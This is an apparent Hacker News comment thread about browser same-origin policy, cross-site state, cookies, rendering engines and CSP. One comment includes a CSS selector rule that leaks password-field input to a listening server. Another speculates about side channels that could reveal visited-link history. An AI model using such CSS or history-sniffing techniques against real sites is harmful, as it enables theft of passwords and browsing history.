195 points · by arkadiyt · 5y ago · 43 comments
The SOP tries to fix it by disallowing certain cross-origin requests. But the problem aren't cross-origin requests. The problem is using the authentication/state of another origin during cross-origin requests.
That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it serves an image from bar.com, none of the foo.com->bar.com context should be used, only the hat.com->bar.com context.
Disabling third party cookies gets you maybe 60% of this, but we need to keep going, disabling all caches, etc., except as tied to the context of interest. It's probably also time to get rid of the idea of "visited" for a link and similar features that use global information rather than information scoped to the currently visited site. And, of course, eternal vigilance against browser fingerprinting attacks.
Since this would cripple a fair share of targeted advertising, we might not see this appearing in Chrome (although they do offer third-party-cookie-blocking, so there's that), but we should definitely see it in Firefox.
It can be a bit annoying with things like recaptcha, and sadly some login systems completely break (like Atlassian SSO), but overall most things work just fine.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Se...
e.g.:
https://blog.josephscott.org/2019/10/16/prepare-for-fewer-ca...
https://dev.to/zwacky/time-to-say-goodbye-to-google-fonts-16...
etc. This is not the exact same thing as what you're describing, but I'd say it's along the same trajectory (i.e., there's hope).
Does this mean that all engines use the same library? Or does WebKit use something else?
It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.
The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself.
IIRC, Skia and Cairo were supported simultaneously before the Blink fork.
The Apple ports have always used Core Graphics, provided by the system (or with Apple software—notably iTunes—on Windows).
> The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself.
JavaScriptCore far predates V8: it's a fork of KJS dating back to the KHTML/KJS fork into WebCore/JavaScriptCore.
input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }
How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the CSS issue) can be trial & error pain that is hard to test.With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal.
Possibilities might be with mix-blend-mode, @property, or applying "slow" css properties like a blurry text-shadow dozens of times. I've played around with this a little but haven't found a crack yet.
It's impossible for something to behave in the same perfect way all the time with all the performance optimizations, fast paths, and branching. As soon as something is in your process or you can make requests to it, small internal differences will leak information via side channels.
Otherwise its no different then doing curl on the attacker's machine.
I get why non-same-origin images need to keep working. I'm curious what depends on using non-same-origin images in canvas rendering, and how hard it'd be for those sites to migrate to loading those images first-party.
Forcing same-site would require a server side proxy (defeating the point of using a CDN).